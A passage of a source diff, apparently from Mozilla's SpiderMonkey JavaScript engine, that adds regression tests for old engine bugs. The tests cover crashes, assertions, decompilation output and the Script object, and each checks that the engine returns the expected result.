+ for (var i = 0; i != 10; ++i) {
+ o[Math.sqrt(i + 0.1)] = 1;
+ }
+ return o.toSource();
+ }
+
+ print(run_test());
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-352281.js b/js/src/tests/js1_5/extensions/regress-352281.js
new file mode 100644
index 000000000..acb074385
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-352281.js
@@ -0,0 +1,35 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352281;
+var summary = 'decompilation of |while| and function declaration';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f, g;
+ f = function() { { while(0) function t() { } } }
+ expect = 'function() { while(0) { function t() { } }}';
+ actual = f + '';
+ compareSource(expect, actual, summary);
+
+ g = eval(uneval(actual));
+ actual = g + '';
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-352291.js b/js/src/tests/js1_5/extensions/regress-352291.js
new file mode 100644
index 000000000..a714e9a4c
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-352291.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352291;
+var summary = 'disassembly of regular expression';
+var actual = '';
+var expect = 'TypeError: /g/g is not a function';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis != 'function')
+ {
+ actual = expect = 'disassembly not supported, test skipped.';
+ }
+ else
+ {
+ try
+ {
+ dis(/g/g)
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-352372.js b/js/src/tests/js1_5/extensions/regress-352372.js
new file mode 100644
index 000000000..088f51028
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-352372.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352372;
+var summary = 'Do not assert eval("setter/*...")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: setter is not defined';
+ try
+ {
+ eval("setter/*\n*/;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/;")');
+
+ try
+ {
+ eval("setter/*\n*/g");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/g")');
+
+ try
+ {
+ eval("setter/*\n*/ ;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/ ;")');
+
+ try
+ {
+ eval("setter/*\n*/ g");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/ g")');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-352604.js b/js/src/tests/js1_5/extensions/regress-352604.js
new file mode 100644
index 000000000..c6197f6af
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-352604.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352604;
+var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() {}
+ delete Function;
+ var g = function () {};
+
+ expect = f.__proto__;
+ actual = g.__proto__;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-354297.js b/js/src/tests/js1_5/extensions/regress-354297.js
new file mode 100644
index 000000000..83a0f22f4
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-354297.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354297;
+var summary = 'getter/setter can be on index';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test requires GC_MARK_DEBUG');
+
+ var o = {}; o.__defineGetter__(1, Math.sin); gc()
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-354541-01.js b/js/src/tests/js1_5/extensions/regress-354541-01.js
new file mode 100644
index 000000000..c177c3be4
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-354541-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354541;
+var summary = 'Regression to standard class constructors in case labels';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary + ': top level');
+
+String.prototype.trim = function() { print('hallo'); };
+
+const S = String;
+const Sp = String.prototype;
+
+expect = 'No Error';
+actual = 'No Error';
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ var s = Script('var tmp = function(o) { switch(o) { case String: case 1: return ""; } }; print(String === S); print(String.prototype === Sp); "".trim();');
+ s();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-354541-02.js b/js/src/tests/js1_5/extensions/regress-354541-02.js
new file mode 100644
index 000000000..83019d55f
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-354541-02.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354541;
+var summary = 'Regression to standard class constructors in case labels';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary + ': in function');
+
+ String.prototype.trim = function() { print('hallo'); };
+
+ const S = String;
+ const Sp = String.prototype;
+
+ expect = 'No Error';
+ actual = 'No Error';
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ var s = Script('var tmp = function(o) { switch(o) { case String: case 1: return ""; } }; print(String === S); print(String.prototype === Sp); "".trim();');
+ s();
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-354541-03.js b/js/src/tests/js1_5/extensions/regress-354541-03.js
new file mode 100644
index 000000000..2468192e4
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-354541-03.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354541;
+var summary = 'Regression to standard class constructors in case labels';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary + ': top level');
+
+String.prototype.trim = function() { print('hallo'); };
+
+String.prototype.trim = function() { return 'hallo'; };
+
+const S = String;
+const Sp = String.prototype;
+
+expect = 'hallo';
+var expectStringInvariant = true
+ var actualStringInvariant;
+var expectStringPrototypeInvariant = true;
+var actualStringPrototypeInvariant;
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+ reportCompare("Script not defined, Test skipped.",
+ "Script not defined, Test skipped.",
+ summary);
+}
+else
+{
+ var s = Script('var tmp = function(o) { switch(o) { case String: case 1: return ""; } }; actualStringInvariant = (String === S); actualStringPrototypeInvariant = (String.prototype === Sp); actual = "".trim();');
+ try
+ {
+ s();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'trim() returned');
+ reportCompare(expectStringInvariant, actualStringInvariant,
+ 'String invariant');
+ reportCompare(expectStringPrototypeInvariant,
+ actualStringPrototypeInvariant,
+ 'String.prototype invariant');
+
+}
+
diff --git a/js/src/tests/js1_5/extensions/regress-354541-04.js b/js/src/tests/js1_5/extensions/regress-354541-04.js
new file mode 100644
index 000000000..ee68b0a76
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-354541-04.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354541;
+var summary = 'Regression to standard class constructors in case labels';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary + ': in function');
+
+ String.prototype.trim = function() { return 'hallo'; };
+
+ const S = String;
+ const Sp = String.prototype;
+
+ expect = 'hallo';
+ var expectStringInvariant = true;
+ var actualStringInvariant;
+ var expectStringPrototypeInvariant = true;
+ var actualStringPrototypeInvariant;
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script is not defined');
+ reportCompare("Script not defined, Test skipped.",
+ "Script not defined, Test skipped.",
+ summary);
+ }
+ else
+ {
+ s = Script('var tmp = function(o) { switch(o) { case String: case 1: return ""; } }; actualStringInvariant = (String === S); actualStringPrototypeInvariant = (String.prototype === Sp); actual = "".trim();');
+ try
+ {
+ s();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, 'trim() returned');
+ reportCompare(expectStringInvariant, actualStringInvariant, 'String invariant');
+ reportCompare(expectStringPrototypeInvariant,
+ actualStringPrototypeInvariant,
+ 'String.prototype invariant');
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-355339.js b/js/src/tests/js1_5/extensions/regress-355339.js
new file mode 100644
index 000000000..9b15bd742
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-355339.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355339;
+var summary = 'Do not assert: sprop->setter != js_watch_set';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+ o = {};
+ o.watch("j", function(a,b,c) { print("*",a,b,c) });
+ o.unwatch("j");
+ o.watch("j", function(a,b,c) { print("*",a,b,c) });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-355497.js b/js/src/tests/js1_5/extensions/regress-355497.js
new file mode 100644
index 000000000..4f69eefbf
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-355497.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355497;
+var summary = 'Do not overflow stack with Array.slice, getter';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'InternalError: too much recursion';
+
+ try
+ {
+ var a = { length: 1 };
+ a.__defineGetter__(0, [].slice);
+ a[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ var b = { length: 1 };
+ b.__defineGetter__(0, function () { return Array.slice(b);});
+ b[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try
+ {
+ var c = [];
+ c.__defineSetter__(0, c.unshift);
+ c[0] = 1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 3');
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-355622.js b/js/src/tests/js1_5/extensions/regress-355622.js
new file mode 100644
index 000000000..87224a218
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-355622.js
@@ -0,0 +1,34 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355622;
+var summary = 'Do not assert: overwriting';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function() { export arguments })();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-355655.js b/js/src/tests/js1_5/extensions/regress-355655.js
new file mode 100644
index 000000000..9013cb1b9
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-355655.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355655;
+var summary = 'running script can be recompiled';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ expect = 'TypeError: cannot compile over a script that is currently executing';
+ actual = '';
+
+ try
+ {
+ t='1';s=Script('s.compile(t);print(t);');s();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-355820.js b/js/src/tests/js1_5/extensions/regress-355820.js
new file mode 100644
index 000000000..dd5de38ea
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-355820.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355820;
+var summary = 'Remove non-standard Script object';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test will fail in gecko prior to 1.9');
+
+ expect = 'undefined';
+ actual = typeof Script;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-355982.js b/js/src/tests/js1_5/extensions/regress-355982.js
new file mode 100644
index 000000000..815f8af15
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-355982.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355982;
+var summary = 'Script("") should not fail';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Error';
+ actual = 'No Error';
+ try
+ {
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ Script('');
+ }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-356402.js b/js/src/tests/js1_5/extensions/regress-356402.js
new file mode 100644
index 000000000..33e1e6637
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-356402.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 356402;
+var summary = 'Do not assert: slot < fp->nvars';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+}
+else
+{
+ (function() { new Script('for(var x in x) { }')(); })();
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-358594-01.js b/js/src/tests/js1_5/extensions/regress-358594-01.js
new file mode 100644
index 000000000..db6ea21b7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-358594-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ function f() { }
+ f.__proto__ = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-358594-02.js b/js/src/tests/js1_5/extensions/regress-358594-02.js
new file mode 100644
index 000000000..d31d93ff5
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-358594-02.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+function f() { }
+f.__proto__ = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-358594-03.js b/js/src/tests/js1_5/extensions/regress-358594-03.js
new file mode 100644
index 000000000..f27c41d25
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-358594-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ f = function () { };
+ f.__proto__ = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-358594-04.js b/js/src/tests/js1_5/extensions/regress-358594-04.js
new file mode 100644
index 000000000..5444293d0
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-358594-04.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+f = function () { };
+f.__proto__ = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-358594-05.js b/js/src/tests/js1_5/extensions/regress-358594-05.js
new file mode 100644
index 000000000..0c6f9a1a4
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-358594-05.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ f = function () { };
+ f.hhhhhhhhh = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-358594-06.js b/js/src/tests/js1_5/extensions/regress-358594-06.js
new file mode 100644
index 000000000..b4dc4fcd9
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-358594-06.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+f = function () { };
+f.hhhhhhhhh = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-359024.js b/js/src/tests/js1_5/extensions/regress-359024.js
new file mode 100644
index 000000000..a2a178cba
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-359024.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 359024;
+var summary = 'Do not crash with Script...';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print(expect = actual = 'Test skipped. Script object required.');
+ }
+ else
+ {
+ var scri=new Script(" var s=new Date(); var a=0; for(var i=0;i<1024*1024;i++) {a=i } var e=new Date(); print('time2='+(e-s)/1000);");
+ scri.compile();
+ scri.exec();
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-361346.js b/js/src/tests/js1_5/extensions/regress-361346.js
new file mode 100644
index 000000000..297c3b1f2
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-361346.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361346;
+var summary = 'Crash with setter, watch, GC';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = actual = 'No Crash';
+
+Object.defineProperty(this, "x", { set: new Function, enumerable: true, configurable: true });
+this.watch('x', function(){});
+gc();
+x = {};
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-361360.js b/js/src/tests/js1_5/extensions/regress-361360.js
new file mode 100644
index 000000000..98e6575d9
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-361360.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 361360;
+var summary = 'Do not assert: !caller || caller->pc involving setter and watch';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ this.__defineSetter__('x', eval);
+ this.watch('x', function(){});
+ x = 3;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-361552.js b/js/src/tests/js1_5/extensions/regress-361552.js
new file mode 100644
index 000000000..eed54e6dd
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-361552.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
